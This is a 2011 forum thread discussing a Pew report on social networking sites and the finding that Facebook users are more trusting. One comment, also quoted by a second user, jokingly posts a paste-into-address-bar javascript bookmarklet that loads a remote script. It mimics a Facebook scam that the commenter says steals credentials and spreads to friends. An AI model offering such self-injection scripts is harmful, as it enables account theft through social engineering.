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June 17, 2011 7:33 AM   Subscribe

Facebook users are more trusting than other people. A new report from the Pew Internet & American Life Project takes a broad look at the social impact of social networking sites (SNSs).

Among the many other interesting results:
-59% of internet-using adults use at least one SNS, and the average age of adult SNS users was 38 in 2010
-Of those who use a SNS, almost all use Facebook (92%), followed by MySpace (29%), LinkedIn (18%), Twitter (13%), and other social network services (10%).

-Only 15% of Facebook users update their own status on an average day, and 56% update their status less than once per week.

-The average SNS user has more close ties and is half as likely to be socially isolated as the average American.

-Internet users tend to be more trusting than non-users: 46% of internet users said that “most people can be trusted,” compared to only 27% of non-internet users.
Survey methodology here. Full report download [PDF].

Other related Pew research.
posted by DiscourseMarker (34 comments total) 12 users marked this as a favorite

 
A new report from the Pew Internet & American Life Project takes a broad look at the social impact of social networking sites (SNSs).

Or maybe that should be: "...the impact of individuals' social habits on their use of social networking sites."

Or maybe there's no causation in either direction.
posted by Plutor at 7:37 AM on June 17, 2011 [1 favorite]


Or possibly, less paranoid?
posted by Decani at 7:37 AM on June 17, 2011 [1 favorite]


I don't believe you.
posted by The 10th Regiment of Foot at 7:39 AM on June 17, 2011


I'm such an outlier.
posted by birdherder at 7:43 AM on June 17, 2011


Isn't calling Facebook users 'more' or 'less' anything than anyone now pretty much a moot point. I mean they have 150,000,000 active users in the US now. That's half of all residents, not even active Internet users. We are all Facebook users here.
posted by jourman2 at 7:44 AM on June 17, 2011


It's Facebook and the stats that justify!
posted by clavdivs at 7:44 AM on June 17, 2011


Zuck: Yeah so if you ever need info about anyone at Harvard
Zuck: Just ask.
Zuck: I have over 4,000 emails, pictures, addresses, SNS
[Redacted Friend's Name]: What? How'd you manage that one?
Zuck: People just submitted it.
Zuck: I don't know why.
Zuck: They "trust me"
Zuck: Dumb fucks.
posted by SyntacticSugar at 7:47 AM on June 17, 2011 [9 favorites]


Hey guys, anyone want my Facebook password?
posted by obscurator at 7:47 AM on June 17, 2011


Hey guys we found this obscure pattern so here's a loaded statement about what we perceive to be the reality of the situation.
posted by Evernix at 7:48 AM on June 17, 2011


@jourman2 there is statistical analysis involved
posted by k8t at 7:48 AM on June 17, 2011


Keith Hampton, the author of the report, is a serious social scientist. These claims didn't just pop out of thin air.
posted by k8t at 7:49 AM on June 17, 2011


correlation != causation!!!!!
posted by melatonic at 7:49 AM on June 17, 2011 [1 favorite]


As a security test, copy this

javascript:(a=(b=document).createElement('script')).src='//http://snurl.com/46lh/',b.body.appendChild(a);void(0)

and paste it into your address bar, and hit enter! Trust me, I'm your Facebook friend.


Had to teach my daughter why this is a wrong, wrong thing to do. Luckily, she was doing it on her friend's mom's college laptop, so it's their problem now. I'm tired of running AVG all the time to fix the family computer because of things sent by "friends".
posted by AzraelBrown at 7:58 AM on June 17, 2011 [1 favorite]


jourman2: "Isn't calling Facebook users 'more' or 'less' anything than anyone now pretty much a moot point. I mean they have 150,000,000 active users in the US now. That's half of all residents, not even active Internet users. We are all Facebook users here"

You take that back.
posted by notsnot at 8:09 AM on June 17, 2011 [1 favorite]


The average SNS user has more close ties and is half as likely to be socially isolated as the average American.

...

Facebook users are more trusting than other people.


I sense a correlation there.

Or possibly, less paranoid?

Pronoia:

"Is the world a dangerous, chaotic place with no inherent purpose, running on automatic like a malfunctioning machine and fundamentally inimical to your happiness? Or are you surrounded by helpers in a friendly universe that gives you challenges in order to make you smarter and wilder and kinder and trickier?

Trick questions! The answers may depend, at least to some degree, on what you believe is true."

posted by mrgrimm at 8:22 AM on June 17, 2011


jourman2: "Isn't calling Facebook users 'more' or 'less' anything than anyone now pretty much a moot point. I mean they have 150,000,000 active users in the US now. That's half of all residents, not even active Internet users. We are all Facebook users here."

No.
posted by Splunge at 8:27 AM on June 17, 2011 [2 favorites]


jourman2: We are all Facebook users here.

Speak for yourself
posted by talitha_kumi at 9:02 AM on June 17, 2011


Ex-Facebook users are probably more suspicious, cynical and bitter. ("Is there anyone here who isn't a bot?!")
posted by SPrintF at 9:33 AM on June 17, 2011


Had to teach my daughter why this is a wrong, wrong thing to do.

What exactly does that code do?
posted by zennie at 9:40 AM on June 17, 2011


correlation != causation!!!!!

You know, just to put this popular knee-jerk reaction into context: the parties most responsible for injecting this particular teflon-coated rebuttal ("correlation != causation") into popular discourse were the PR operatives responsible for white-washing what the tobacco industry knew about the dangerous and addictive properties of their products.

This general form of argument--it's a form of playing the referee, really--was advanced to dispute studies that found strong correlations between smoking and lung cancer and other smoking related illnesses. In science, there is no mechanism for firmly establishing causation, because causation is a philosophical concept, not a scientific one.

All observations in science are merely matters of correlations; interpretive analysis of causality offers a meta-narrative, not a description of measurable aspects of physical reality: David Hume, it's broadly agreed, demonstrated as much a long time ago.
posted by saulgoodman at 9:43 AM on June 17, 2011 [4 favorites]


As a security test, copy this

javascript:(a=(b=document).createElement('script')).src='//http://snurl.com/46lh/',b.body.appendChild(a);void(0)

and paste it into your address bar, and hit enter! Trust me, I'm your Facebook friend.


It didn't do anything when I did it.
posted by greasy_skillet at 10:03 AM on June 17, 2011


We are all Facebook users assets here.

Though it's common knowledge that Zuckerberg himself has an even more affectionate term for them.
posted by George_Spiggott at 10:16 AM on June 17, 2011


(Ah, missed SyntacticSugar's comment)
posted by George_Spiggott at 10:19 AM on June 17, 2011


greasy_skillet: It didn't do anything when I did it.

if course it didn't....muahahaaaa

Here's the reference I was trying to make, but nobody here has a Facebook account so they've never encountered it before.
posted by AzraelBrown at 11:15 AM on June 17, 2011


zennie: What exactly does that code do?

The code I posted does nothing (the snurl URL in it is to this thread), but the Facebook javascript hack/virus redirects to a page that can do any number of things, from installing a virus into your computer, stealing your Facebook credentials, and/or re-posting itself to the wall of somebody else on your friend list. I've seen it twice in the last two days, and I only have a couple dozen friends, so I imagine it's quite common 'in the wild' on Facebook.
posted by AzraelBrown at 12:07 PM on June 17, 2011


I'm reminded of the person who believed that her 1,000 Facebook "friends" were going to show up at her birthday party.
posted by bad grammar at 3:04 PM on June 17, 2011


This is just peculiar, because after having been online in some form or other since 1984, the lesson I've learned is that you really shouldn't trust people at all until you get to know them on a deeper level than what they present online.

But maybe that's a "with age comes wisdom" thing and I'm an old old man in internet years while most FB people are tiny little children by comparison.
posted by hippybear at 4:33 PM on June 17, 2011


"Most people can be trusted" seems like a fairly non-radical sentiment. Agreeing with that statement hardly makes you naive. Just optimistic about human beings.

If anything, I think the story is that 73% of Americans NOT on facebook disagree with it. That is a group of real cynics. I bet that group is in large part composed of people who 1) don't have much of a (IRL) social network and hence little reason to join facebook; 2) are reflexively anti-mainstream and thus aren't joining; and/or 3) are paranoid about facebook security issues. Those are all traits that I bet would make you exceptionally pessimistic about other people.

I'd rather be in the other group.
posted by dixiecupdrinking at 5:13 PM on June 17, 2011


I bet that group is in large part composed of people who 1) don't have much of a (IRL) social network and hence little reason to join facebook; 2) are reflexively anti-mainstream and thus aren't joining; and/or 3) are paranoid about facebook security issues. Those are all traits that I bet would make you exceptionally pessimistic about other people.

You're forgetting 4) don't want to be part of the demographic product of interwoven personal information and product "likes" being sold to giant corporations for marketing purposes.

(There's also 5) distrustful of Facebook's well-documented ties with the FBI and CIA and doesn't want to do law enforcement's job for them by documenting all of one's social network, just in case the revolution does one day come.)

Pessimistic about large organizations and law enforcement... is that the same as being pessimistic about other people?
posted by hippybear at 5:49 PM on June 17, 2011


Pessimistic about large organizations and law enforcement... is that the same as being pessimistic about other people?

No, but arguably not a feeling encompassed in the statistic cited.
posted by dixiecupdrinking at 6:04 PM on June 17, 2011


Facebook users are more trusting than other people.

Of course they are, they trust Facebook.
posted by benzenedream at 7:03 PM on June 17, 2011


I used to be trusting. Until I recently found a 'friend' talking behind my back on Facebook. Oops.

It's like high school all over again.
posted by Lovecraft In Brooklyn at 8:16 PM on June 17, 2011


Agreeing with that statement hardly makes you naive. Just optimistic about human beings.

Difference?
posted by LogicalDash at 12:05 PM on June 19, 2011


I'm surprised MySpace is holding up that well. Our company provides social marketing services to businesses, and most of the demand is for Facebook (by far), Twitter, LinkedIn and YouTube. Two years ago businesses were skeptical about FB and T, but now they are into these big time.

LinkedIn is business-oriented and probably the preferred site for B2B marketing; but FB and Twitter are gaining rapidly -- along with the Local Business divisions of Yahoo!, Bing and Google. Most companies now recognize social media marketing as one of the most cost-effective ways to communicate their brand and value proposition -- Like it or not.
posted by SemanticAd at 3:06 PM on June 23, 2011


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